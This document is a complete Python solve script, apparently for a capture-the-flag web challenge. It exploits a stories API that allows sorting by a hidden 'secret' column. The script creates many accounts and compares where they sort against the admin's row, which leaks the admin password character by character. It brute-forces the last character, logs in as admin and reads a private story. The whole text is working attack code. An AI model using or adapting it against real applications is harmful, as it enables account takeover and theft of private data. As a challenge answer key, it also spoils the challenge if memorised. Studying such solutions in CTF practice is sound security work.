Solve script:

import secrets
import sys
import requests

base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
base = base.rstrip("/")

session = requests.Session()
chars = "0123456789abcdef"


def fix_cookie(response):
    cookie = response.cookies.get("__Host-session")

    # requests doesn't like __Host cookies over plain http
    if cookie and base.startswith("http://"):
        session.cookies.clear()
        session.cookies.set("__Host-session", cookie)


def make_user(username, password):
    r = session.post(
        base + "/api/signup",
        json={
            "name": username,
            "password": password
        }
    )
    r.raise_for_status()
    fix_cookie(r)

    r = session.post(
        base + "/api/stories",
        json={
            "story": username,
            "visibility": "public",
            "minutes": 60
        }
    )
    r.raise_for_status()


if __name__ == "__main__":
    known = ""
    random_prefix = "x" + secrets.token_hex(3)

    # get the first 15 chars based on where our users sort compared to admin
    while len(known) < 15:
        users = {}

        for char in chars:
            password = known + char
            username = random_prefix + password

            make_user(username, password)
            users[username] = char

        r = session.get(
            base + "/api/stories",
            params={"column": "secret", "order": "ASC"}
        )
        rows = r.json()

        admin_pos = None
        positions = {}

        for i, row in enumerate(rows):
            positions[row["author"]] = i

            if (
                row.get("author") == "admin"
                and row.get("visibility") == "public"
            ):
                admin_pos = i

        if admin_pos is None:
            print("admin story disappeared?")
            sys.exit(1)

        closest = None

        for username in users:
            if positions[username] < admin_pos:
                if closest is None or positions[username] > positions[closest]:
                    closest = username

        if closest is None:
            print("couldn't figure out next character")
            sys.exit(1)

        known += users[closest]
        print(known)

    # only one character left, just brute force it
    for char in chars:
        password = known + char

        r = session.post(
            base + "/api/login",
            json={
                "name": "admin",
                "password": password
            }
        )

        if r.ok:
            known = password
            fix_cookie(r)
            break
    else:
        print("couldn't log in")
        sys.exit(1)

    print("admin password:", known)

    rows = session.get(base + "/api/stories").json()

    for row in rows:
        if (
            row.get("author") == "admin"
            and row.get("visibility") == "close_friends"
        ):
            print(row["story"])
            sys.exit()

    print("couldn't find admin story")